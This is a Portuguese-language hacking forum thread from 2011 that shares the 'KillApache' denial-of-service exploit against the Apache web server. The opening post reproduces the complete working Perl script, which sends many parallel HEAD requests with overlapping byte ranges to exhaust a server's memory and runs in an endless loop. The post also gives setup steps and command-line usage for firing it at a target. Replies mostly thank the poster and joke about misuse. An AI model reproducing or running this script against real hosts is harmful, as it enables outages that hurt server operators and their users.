Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

[0-Day] DDOS KillApache

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Matéria [0-Day] DDOS KillApache



    Uma nova falha descoberta a pouco tempo no servidor Apache permite ao atacante utilizar um ataque de negação de serviço fazendo com que o servidor venha a sobre carregar.
    Não vou dar muitos detalhes sobre a falha, vamos ser diretos e práticos, apesar de teoria não ser ruim, enfim.

    O funcionamento do exploit e basicamente congestionar o servidor de requisições GET's com diversos "byte ranges" que vão pedir grandes porções de espaço de memória do sistema (servidor).

    Até agora nenhum patch para correção foi lançado, lembrando que nem todos os servidores estão vulneráveis a esse tipo de falha.

    Então não se desespere, vamos ao teste de fogo:

    Exploit rodando na internet:
    Código:
    #!/usr/bin/perl
    #Apache httpd Remote Denial of Service (memory exhaustion)
    #By Kingcope
    #Year 2011
    #
    # Will result in swapping memory to filesystem on the remote side
    # plus killing of processes when running out of swap space.
    # Remote System becomes unstable.
    #
    
    use IO::Socket;
    use Parallel::ForkManager;
    
    sub usage {
        print "Apache Remote Denial of Service (memory exhaustion)\n";
        print "by Kingcope\n";
        print "usage: perl killapache.pl <host> [numforks]\n";
        print "example: perl killapache.pl www.example.com 50\n";
    }
    
    sub killapache {
    print "ATTACKING $ARGV[0] [using $numforks forks]\n";
        
    $pm = new Parallel::ForkManager($numforks);
    
    $|=1;
    srand(time());
    $p = "";
    for ($k=0;$k<1300;$k++) {
        $p .= ",5-$k";
    }
    
    for ($k=0;$k<$numforks;$k++) {
    my $pid = $pm->start and next;     
        
    $x = "";
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                      Proto    => 'tcp');
    
    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;
    
    while(<$sock>) {
    }
     $pm->finish;
    }
    $pm->wait_all_children;
    print ":pPpPpppPpPPppPpppPp\n";
    }
    
    sub testapache {
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                      Proto    => 'tcp');
    
    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;
    
    $x = <$sock>;
    if ($x =~ /Partial/) {
        print "host seems vuln\n";
        return 1;    
    } else {
        return 0;    
    }
    }
    
    if ($#ARGV < 0) {
        usage;
        exit;    
    }
    
    if ($#ARGV > 1) {
        $numforks = $ARGV[1];
    } else {$numforks = 50;}
    
    $v = testapache();
    if ($v == 0) {
        print "Host does not seem vulnerable\n";
        exit;    
    }
    while(1) {
    killapache();
    }
    Baixe e salve como killapache.pl (arquivo perl)
    No linux, talvez, tenha que executar o seguinte comando:

    cpan Parallel::ForkManager

    Módulo necessário para o exploit.

    Depois de salvo e pronto, atirando contra o alvo:

    uso: perl killapache.pl <host> [numforks]
    exemplo: perl killapache.pl Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... 50

    Rodando em minha máquina e servidor, temos isso:

    Máquina: BTr2
    Servidor: BlackUbuntu (para teste neste caso)

    Atacante:


    Servidor em condições normais:


    Servidor sobre carregado, veja a quantidade de processos 'apache2':

    E não para por ai, quanto mais requisições GETs melhor (ou não seria pior? )

    Links:
    1. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    2. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    3. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Matéria por ar3ax.
    Até a próxima pessoal
    Abraços++.
    Last edited by areax; 29-08-2011, 02:46.



    areax@hotmail.com



    Similar Threads

  • Font Size
    #2
    Obrigado por compartilhar conosco

    Lembrem-se: Façam BOM uso



    ou não

    Comment


    • Font Size
      #3
      Postado Originalmente por M47r1x Ver Post
      Obrigado por compartilhar conosco

      Lembrem-se: Façam BOM uso



      ou não
      Neh !
      Vlw por compartilhar EMO =)

      Ah.. se puder me ajuda.. to kerendo aprender algumas coisas sobre PENTEST se puder me ajuda com alguns tuto.. Vlw

      FalcoOMxD


      "stay hungry stay foolish" - Um perfeito círculo virtuoso, talvez utópico, mas alcançável.
      Steve Jobs

      Comment


      • Font Size
        #4
        Vou tentar fazer video-aula disso dps :P
        Twitter: @samukt << Siga me ;D

        Comment


        • Font Size
          #5
          Postado Originalmente por M47r1x Ver Post
          Obrigado por compartilhar conosco

          Lembrem-se: Façam BOM uso



          ou não
          Como que faz bom uso de um exploit que derruba servidores apache???

          Comment


          • Font Size
            #6
            HoHo vou ver se meu site ta vulneravel
            Hospedagem profissional + 50gb de espaço + trafego ilimitado + email com seu dominio (contato@seudominio.com) Por : 11,90 ? Só falar comigo.

            Comment


            • Font Size
              #7
              Postado Originalmente por #Franco Ver Post
              Como que faz bom uso de um exploit que derruba servidores apache???
              Te explico:
              Analisando o código linha a linha e vendo o que ele faz sem ter a necessidade de realmente usa-lo para então adquirir conhecimento

              Comment


              • Font Size
                #8
                Good Work man.

                Muito simples e bem detalhado.

                Show de bola.

                Thanks.
                WhiteCollarGroup till I die
                MI5, MI6,NSA,FBI,Army, CIA,Navy,Air Force, Mossad, PF and all this shit can't stop me.

                Comment


                • Font Size
                  #9
                  Parabéns pelo POst!
                  Conferindo!

                  Comment

                  X
                  Working...
                  X